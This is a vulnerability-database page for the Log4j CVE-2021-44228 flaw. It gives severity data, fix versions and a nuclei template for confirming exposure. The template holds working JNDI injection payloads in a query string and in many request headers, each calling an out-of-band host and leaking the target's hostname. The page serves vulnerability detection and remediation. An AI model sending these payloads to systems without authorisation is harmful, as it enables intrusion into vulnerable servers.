HexBrain

Browse / CVEs / CVE-2021-44228

CVE-2021-44228· apache / log4j· CWE-20, CWE-917

Apache Log4j2 Remote Code Injection

Exploited in the wild. Listed by CISA on 2021-12-10; known to be used by ransomware.

criticalseverity
10CVSS score
100%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

Impact

Successful exploitation of this vulnerability can lead to remote code execution, potentially compromising the affected system.

Fix

Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).

How to confirm it

Send: GET /?x=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.uri.{{interactsh-url}}/a} ; GET /
Positive when: contains in interactsh_protocol "dns" AND matches in interactsh_request /\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+/

Run it with nuclei: nuclei -id CVE-2021-44228 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-44228
info:
  name: Apache Log4j2 Remote Code Injection
  author: melbadry9,dhiyaneshDK,daffainfo,anon-artist,0xceba,Tea,j4vaovo
  severity: critical
  description: |
    Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, potentially compromising the affected system.
  remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
  reference:
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
    - https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
    - https://www.lunasec.io/docs/blog/log4j-zero-day/
    - https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-20,CWE-917
    epss-score: 0.99999
    epss-percentile: 1
    cpe: cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: log4j
  tags: cve2021,cve,rce,oast,log4j,injection,kev,apache,vkev,vuln
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
http:
  - raw:
      - |
        GET /?x=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.uri.{{interactsh-url}}/a} HTTP/1.1
        Host: {{Hostname}}
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Accept: application/xml, application/json, text/plain, text/html, */${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accept.{{interactsh-url}}}
        Accept-Encoding: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.acceptencoding.{{interactsh-url}}}
        Accept-Language: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.acceptlanguage.{{interactsh-url}}}
        Access-Control-Request-Headers: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}
        Access-Control-Request-Method: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}
        Authentication: Basic ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.authenticationbasic.{{interactsh-url}}}
        Authentication: Bearer ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.authenticationbearer.{{interactsh-url}}}
        Cookie: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookievalue.{{interactsh-url}}}
        Location: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.location.{{interactsh-url}}}
        Origin: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.origin.{{interactsh-url}}}
        Referer: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.referer.{{interactsh-url}}}
        Upgrade-Insecure-Requests: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.upgradeinsecurerequests.{{interactsh-url}}}
        User-Agent: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.useragent.{{interactsh-url}}}
        X-Api-Version: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xapiversion.{{interactsh-url}}}
        X-CSRF-Token: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xcsrftoken.{{interactsh-url}}}
        X-Druid-Comment: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xdruidcomment.{{interactsh-url}}}
        X-Forwarded-For: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xforwardedfor.{{interactsh-url}}}
        X-Origin: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xorigin.{{interactsh-url}}}
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"
      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
    extractors:
      - type: kval
        kval:
          - interactsh_ip
      - type: regex
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
        part: interactsh_request
      - type: regex
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
        part: interactsh_request
        # digest: 4a0a0047304502202884fb76d02d44ae24b3e9bc5914a20e89726f929f3a1472cb9ce81e16f6c7320221009fb4e79fd5e58f4a49ccbeff467c990c3be6e32a7e03a2af8db207849e937d5f:922c64590222798bb761d5b6d8e72950

References

Use this check only on systems you are authorised to test. Where the data comes from